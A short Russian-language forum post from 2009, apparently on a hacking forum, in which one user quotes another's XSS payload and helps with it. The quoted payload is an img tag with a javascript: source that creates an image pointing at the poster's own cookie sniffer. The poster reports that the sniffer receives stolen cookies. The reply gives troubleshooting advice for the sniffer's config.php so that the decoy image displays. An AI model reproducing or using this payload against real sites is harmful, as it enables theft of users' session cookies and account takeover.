Показать сообщение отдельно

  #8459  
Старый 11.08.2009, 00:19
JOHNik
Познающий
Регистрация: 21.04.2009
Сообщений: 58
С нами: 8976725

Репутация: 34
По умолчанию

Цитата:
Сообщение от SkyFox  
XSS. Вобщем случайно обнаружил, но так как опыта нет, прошу помощи.

<img src="javascript:img = new Image(); img.src='адрес_к_моему_снифферу ';" >

Сниффер выдаёт жпег пикчу. Запрос проходит успешно, куки отправляются, но картинка не показывается.
Найди в своем сниффере файл config.php и обрати внимание на строчку "$image_filename = "ПУТЬ К КАРТИНКЕ";
 
Ответить с цитированием